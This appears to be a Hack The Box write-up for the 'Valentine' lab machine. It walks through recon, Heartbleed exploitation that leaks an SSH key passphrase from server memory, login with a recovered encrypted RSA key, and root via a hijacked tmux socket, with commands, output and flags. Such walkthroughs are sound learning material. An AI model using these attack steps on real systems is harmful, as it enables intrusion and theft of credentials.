Valentine - Hack The Box

March 15, 2021

“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”

██╗ ██╗███████╗███████╗██████╗ ██║ ██║██╔════╝██╔════╝██╔══██╗ ██║ ██║███████╗█████╗ ██████╔╝ ██║ ██║╚════██║██╔══╝ ██╔══██╗ ╚██████╔╝███████║███████╗██║ ██║ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝

[root:/git/htb/valentine]# nmap -Pn -n -sCV 10.10.10.79 –open (master✱) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA) | 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA) |_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Site doesn’t have a title (text/html). 443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu)) |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Site doesn’t have a title (text/html). | ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US | Not valid before: 2018-02-06T00:45:25 |_Not valid after: 2019-02-06T00:45:25 |_ssl-date: 2021-03-16T08:40:30+00:00; +6m20s from scanner time. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

DIRB:

http://10.10.10.79/cgi-bin/ (CODE:403 SIZE:287)
http://10.10.10.79/decode (CODE:200|SIZE:552) ==> DIRECTORY: http://10.10.10.79/dev/
http://10.10.10.79/encode (CODE:200 SIZE:554)
http://10.10.10.79/index (CODE:200 SIZE:38)
http://10.10.10.79/index.php (CODE:200 SIZE:38)
http://10.10.10.79/server-status (CODE:403 SIZE:292)

NIKTO:

Visiting http://10.10.10.79 we find a image of a lady screaming and a bleeding heart. Downloading the image and binwalk it gives us nothing.

In http://10.10.10.79/dev/ we find ‘hype_key’ and ‘notes.txt’.

[root:/git/htb/valentine]# curl http://10.10.10.79/dev/notes.txt (master✱) To do:

1) Coffee. 2) Research. 3) Fix decoder/encoder before going live. 4) Make sure encoding/decoding is only done client-side. 5) Don’t use the decoder/encoder until any of this is done. 6) Find a better way to take notes.

From the notes it sounds like we had a tired and unknowing developer. He’s talking about encoder/decoder, which dirb found for us. Maybe we can inject some code there.

[root:/git/htb/valentine]# curl http://10.10.10.79/dev/hype_key (master✱) 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d 0d 0a 50 72 6f 63 2d 54 79 70 65 3a 20 34 2c 45 4e 43 52 59 50 54 45 44 0d 0a 44 45 4b 2d 49 6e 66 6f 3a 20 41 45 53 2d 31 32 38 2d 43 42 43 2c 41 45 42 38 38 43 31 34 30 46 36 39 42 46 32 30 37 34 37 38 38 44 45 32 34 41 45 34 38 44 34 36 0d 0a 0d 0a 44 62 50 72 4f 37 38 6b 65 67 4e 75 6b 31 44 41 71 6c 41 4e 35 6a 62 6a 58 76 30 50 50 73 6f 67 33 6a 64 62 4d 46 53 38 69 45 39 70 33 55 4f 4c 30 6c 46 30 78 66 37 50 7a 6d 72 6b 44 61 38 52 0d 0a 35 79 2f 62 34 36 2b 39 6e 45 70 43 4d 66 54 50 68 4e 75 4a 52 63 57 32 55 32 67 4a 63 4f 46 48 2b 39 52 4a 44 42 43 35 55 4a 4d 55 53 31 2f 67 6a 42 2f 37 2f 4d 79 30 30 4d 77 78 2b 61 49 36 0d 0a 30 45 49 30 53 62 4f 59 55 41 56 31 57 34 45 56 37 6d 39 36 51 73 5a 6a 72 77 4a 76 6e 6a 56 61 66 6d 36 56 73 4b 61 54 50 42 48 70 75 67 63 41 53 76 4d 71 7a 37 36 57 36 61 62 52 5a 65 58 69 0d 0a 45 62 77 36 36 68 6a 46 6d 41 75 34 41 7a 71 63 4d 2f 6b 69 67 4e 52 46 50 59 75 4e 69 58 72 58 73 31 77 2f 64 65 4c 43 71 43 4a 2b 45 61 31 54 38 7a 6c 61 73 36 66 63 6d 68 4d 38 41 2b 38 50 0d 0a 4f 58 42 4b 4e 65 36 6c 31 37 68 4b 61 54 36 77 46 6e 70 35 65 58 4f 61 55 49 48 76 48 6e 76 4f 36 53 63 48 56 57 52 72 5a 37 30 66 63 70 63 70 69 6d 4c 31 77 31 33 54 67 64 64 32 41 69 47 64 0d 0a 70 48 4c 4a 70 59 55 49 49 35 50 75 4f 36 78 2b 4c 53 38 6e 31 72 2f 47 57 4d 71 53 4f 45 69 6d 4e 52 44 31 6a 2f 35 39 2f 34 75 33 52 4f 72 54 43 4b 65 6f 39 44 73 54 52 71 73 32 6b 31 53 48 0d 0a 51 64 57 77 46 77 61 58 62 59 79 54 31 75 78 41 4d 53 6c 35 48 71 39 4f 44 35 48 4a 38 47 30 52 36 4a 49 35 52 76 43 4e 55 51 6a 77 78 30 46 49 54 6a 6a 4d 6a 6e 4c 49 70 78 6a 76 66 71 2b 45 0d 0a 70 30 67 44 30 55 63 79 6c 4b 6d 36 72 43 5a 71 61 63 77 6e 53 64 64 48 57 38 57 33 4c 78 4a 6d 43 78 64 78 57 35 6c 74 35 64 50 6a 41 6b 42 59 52 55 6e 6c 39 31 45 53 43 69 44 34 5a 2b 75 43 0d 0a 4f 6c 36 6a 4c 46 44 32 6b 61 4f 4c 66 75 79 65 65 30 66 59 43 62 37 47 54 71 4f 65 37 45 6d 4d 42 33 66 47 49 77 53 64 57 38 4f 43 38 4e 57 54 6b 77 70 6a 63 30 45 4c 62 6c 55 61 36 75 6c 4f 0d 0a 74 39 67 72 53 6f 73 52 54 43 73 5a 64 31 34 4f 50 74 73 34 62 4c 73 70 4b 78 4d 4d 4f 73 67 6e 4b 6c 6f 58 76 6e 6c 50 4f 53 77 53 70 57 79 39 57 70 36 79 38 58 58 38 2b 46 34 30 72 78 6c 35 0d 0a 58 71 68 44 55 42 68 79 6b 31 43 33 59 50 4f 69 44 75 50 4f 6e 4d 58 61 49 70 65 31 64 67 62 30 4e 64 44 31 4d 39 5a 51 53 4e 55 4c 77 31 44 48 43 47 50 50 34 4a 53 53 78 58 37 42 57 64 44 4b 0d 0a 61 41 6e 57 4a 76 46 67 6c 41 34 6f 46 42 42 56 41 38 75 41 50 4d 66 56 32 58 46 51 6e 6a 77 55 54 35 62 50 4c 43 36 35 74 46 73 74 6f 52 74 54 5a 31 75 53 72 75 61 69 32 37 6b 78 54 6e 4c 51 0d 0a 2b 77 51 38 37 6c 4d 61 64 64 73 31 47 51 4e 65 47 73 4b 53 66 38 52 2f 72 73 52 4b 65 65 4b 63 69 6c 44 65 50 43 6a 65 61 4c 71 74 71 78 6e 68 4e 6f 46 74 67 30 4d 78 74 36 72 32 67 62 31 45 0d 0a 41 6c 6f 51 36 6a 67 35 54 62 6a 35 4a 37 71 75 59 58 5a 50 79 6c 42 6c 6a 4e 70 39 47 56 70 69 6e 50 63 33 4b 70 48 74 74 76 67 62 70 74 66 69 57 45 45 73 5a 59 6e 35 79 5a 50 68 55 72 39 51 0d 0a 72 30 38 70 6b 4f 78 41 72 58 45 32 64 6a 37 65 58 2b 62 71 36 35 36 33 35 4f 4a 36 54 71 48 62 41 6c 54 51 31 52 73 39 50 75 6c 72 53 37 4b 34 53 4c 58 37 6e 59 38 39 2f 52 5a 35 6f 53 51 65 0d 0a 32 56 57 52 79 54 5a 31 46 66 6e 67 4a 53 73 76 39 2b 4d 66 76 7a 33 34 31 6c 62 7a 4f 49 57 6d 6b 37 57 66 45 63 57 63 48 63 31 36 6e 39 56 30 49 62 53 4e 41 4c 6e 6a 54 68 76 45 63 50 6b 79 0d 0a 65 31 42 73 66 53 62 73 66 39 46 67 75 55 5a 6b 67 48 41 6e 6e 66 52 4b 6b 47 56 47 31 4f 56 79 75 77 63 2f 4c 56 6a 6d 62 68 5a 7a 4b 77 4c 68 61 5a 52 4e 64 38 48 45 4d 38 36 66 4e 6f 6a 50 0d 0a 30 39 6e 56 6a 54 61 59 74 57 55 58 6b 30 53 69 31 57 30 32 77 62 75 31 4e 7a 4c 2b 31 54 67 39 49 70 4e 79 49 53 46 43 46 59 6a 53 71 69 79 47 2b 57 55 37 49 77 4b 33 59 55 35 6b 70 33 43 43 0d 0a 64 59 53 63 7a 36 33 51 32 70 51 61 66 78 66 53 62 75 76 34 43 4d 6e 4e 70 64 69 72 56 4b 45 6f 35 6e 52 52 66 4b 2f 69 61 4c 33 58 31 52 33 44 78 56 38 65 53 59 46 4b 46 4c 36 70 71 70 75 58 0d 0a 63 59 35 59 5a 4a 47 41 70 2b 4a 78 73 6e 49 51 39 43 46 79 78 49 74 39 32 66 72 58 7a 6e 73 6a 68 6c 59 61 38 73 76 62 56 4e 4e 66 6b 2f 39 66 79 58 36 6f 70 32 34 72 4c 32 44 79 45 53 70 59 0d 0a 70 6e 73 75 6b 42 43 46 42 6b 5a 48 57 4e 4e 79 65 4e 37 62 35 47 68 54 56 43 6f 64 48 68 7a 48 56 46 65 68 54 75 42 72 70 2b 56 75 50 71 61 71 44 76 4d 43 56 65 31 44 5a 43 62 34 4d 6a 41 6a 0d 0a 4d 73 6c 66 2b 39 78 4b 2b 54 58 45 4c 33 69 63 6d 49 4f 42 52 64 50 79 77 36 65 2f 4a 6c 51 6c 56 52 6c 6d 53 68 46 70 49 38 65 62 2f 38 56 73 54 79 4a 53 65 2b 62 38 35 33 7a 75 56 32 71 4c 0d 0a 73 75 4c 61 42 4d 78 59 4b 6d 33 2b 7a 45 44 49 44 76 65 4b 50 4e 61 61 57 5a 67 45 63 71 78 79 6c 43 43 2f 77 55 79 55 58 6c 4d 4a 35 30 4e 77 36 4a 4e 56 4d 4d 38 4c 65 43 69 69 33 4f 45 57 0d 0a 6c 30 6c 6e 39 4c 31 62 2f 4e 58 70 48 6a 47 61 38 57 48 48 54 6a 6f 49 69 6c 42 35 71 4e 55 79 79 77 53 65 54 42 46 32 61 77 52 6c 58 48 39 42 72 6b 5a 47 34 46 63 34 67 64 6d 57 2f 49 7a 54 0d 0a 52 55 67 5a 6b 62 4d 51 5a 4e 49 49 66 7a 6a 31 51 75 69 6c 52 56 42 6d 2f 46 37 36 59 2f 59 4d 72 6d 6e 4d 39 6b 2f 31 78 53 47 49 73 6b 77 43 55 51 2b 39 35 43 47 48 4a 45 38 4d 6b 68 44 33 0d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d

Convert the hex to ascii (https://www.rapidtables.com/convert/number/hex-to-ascii.html):

—–BEGIN RSA PRIVATE KEY—– Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46

DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R 5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6 0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd pHLJpYUII5PuO6x+LS8n1r/GWMqSOEimNRD1j/59/4u3ROrTCKeo9DsTRqs2k1SH QdWwFwaXbYyT1uxAMSl5Hq9OD5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC Ol6jLFD2kaOLfuyee0fYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ulO t9grSosRTCsZd14OPts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5 XqhDUBhyk1C3YPOiDuPOnMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ +wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q r08pkOxArXE2dj7eX+bq65635OJ6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe 2VWRyTZ1FfngJSsv9+Mfvz341lbzOIWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky e1BsfSbsf9FguUZkgHAnnfRKkGVG1OVyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP 09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3 —–END RSA PRIVATE KEY—–

[root:/git/htb/valentine]# file hex_out (master✱) hex_out: PEM RSA private key

Trying Server Side Injection (SSI) on the encode and decode functions gives nothing, they have probably fixed that issue.

Go back a step and analyse the data that we do have. Looking on the picture from index.php, a woman screaming and a bleeding heart, maybe this tells us we should look on Heartbleed? Lets look for that!

[root:/git/htb/valentine]# nmap -sV –script=ssl-heartbleed 10.10.10.79 (master✱) PORT STATE SERVICE VERSION — snip — |http-server-header: Apache/2.2.22 (Ubuntu) | ssl-heartbleed: | VULNERABLE: | The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption. | State: VULNERABLE | Risk factor: High | OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves. | | References: | http://www.openssl.org/news/secadv_20140407.txt | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160 | http://cvedetails.com/cve/2014-0160/

Download a heartbleed script and attack until you get something usable from the memory leak.

[root:/git/htb/valentine]# python heatbleed.py 10.10.10.79 (master✱)

defribulator v1.16 A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

################################################################## Connecting to: 10.10.10.79:443, 1 times Sending Client Hello for TLSv1.0 Received Server Hello for TLSv1.0

WARNING: 10.10.10.79:443 returned more data than it should - server is vulnerable! Please wait… connection attempt 1 of 1 ##################################################################

.@….SC[…r….+..H…9… ….w.3….f… …!.9.8………5…………… ………3.2…..E.D…../…A……………………………I……… ……….. ……………………………..#…….0.0.1/decode.php Content-Type: application/x-www-form-urlencoded Content-Length: 42

$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==S.5.%….,b.,.N.@

[root:/git/htb/valentine]# echo aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== | base64 –decode (master✱) heartbleedbelievethehype

‘heartbleedbelievethehype’ is probably the password for ‘hype_key’ that we found previously. Login and grab user.

[root:/git/htb/valentine]# ssh hype@valentine.htb -i hype-id_rsa (master✱) Enter passphrase for key ‘hype-id_rsa’: Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)

Documentation: https://help.ubuntu.com/

New release ‘14.04.5 LTS’ available. Run ‘do-release-upgrade’ to upgrade to it.

Last login: Tue Mar 16 03:57:33 2021 from 10.10.14.12 hype@Valentine:~$ id uid=1000(hype) gid=1000(hype) groups=1000(hype),24(cdrom),30(dip),46(plugdev),124(sambashare) hype@Valentine:~$ cat Desktop/user.txt e6710a5464769fd5fcd216e076961750

██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████

██████╗ ██████╗ ██████╗ ████████╗ ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██████╔╝██║ ██║██║ ██║ ██║ ██╔══██╗██║ ██║██║ ██║ ██║ ██║ ██║╚██████╔╝╚██████╔╝ ██║ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝

Looking in .bash_history we can see some interesting commands. If we investigate it further we can see that dev_sess is both readable and writeable. And ontop of that, root is running that process.

hype@Valentine:~$ cat .bash_history exit exot exit ls -la cd / ls -la cd .devs ls -la tmux -L dev_sess tmux a -t dev_sess tmux –help tmux -S /.devs/dev_sess

hype@Valentine:/.devs$ ls -al total 8 drwxr-xr-x 2 root hype 4096 Mar 16 01:38 . drwxr-xr-x 26 root root 4096 Feb 6 2018 .. srw-rw—- 1 root hype 0 Mar 16 01:38 dev_sess

hype@Valentine:/.devs$ ps aux | grep root — snip — root 1012 0.0 0.1 26416 1680 ? Ss 01:38 0:04 /usr/bin/tmux -S /.devs/dev_sess

Tmux has a vulnerability allowing us to hijack the root session. Just run the same command to spawn a root shell.

hype@Valentine:/.devs$ tmux -S /.devs/dev_sess root@Valentine:/.devs# id uid=0(root) gid=0(root) groups=0(root) root@Valentine:/.devs# cat /root/root.txt f1bb6d759df1f272914ebbc9ed7765b2

██╗███╗ ██╗███████╗ ██████╗ ██████╗ ███╗ ███╗ █████╗ ████████╗██╗ ██████╗ ███╗ ██╗ ██║████╗ ██║██╔════╝██╔═══██╗██╔══██╗████╗ ████║██╔══██╗╚══██╔══╝██║██╔═══██╗████╗ ██║ ██║██╔██╗ ██║█████╗ ██║ ██║██████╔╝██╔████╔██║███████║ ██║ ██║██║ ██║██╔██╗ ██║ ██║██║╚██╗██║██╔══╝ ██║ ██║██╔══██╗██║╚██╔╝██║██╔══██║ ██║ ██║██║ ██║██║╚██╗██║ ██║██║ ╚████║██║ ╚██████╔╝██║ ██║██║ ╚═╝ ██║██║ ██║ ██║ ██║╚██████╔╝██║ ╚████║ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝

Heartbleed.py: https://gist.github.com/eelsivart/10174134

Tmux Session Hijack: https://int0x33.medium.com/day-69-hijacking-tmux-sessions-2-priv-esc-f05893c4ded0

0xPThree

Valentine - Hack The Box

NIKTO:

0xPThree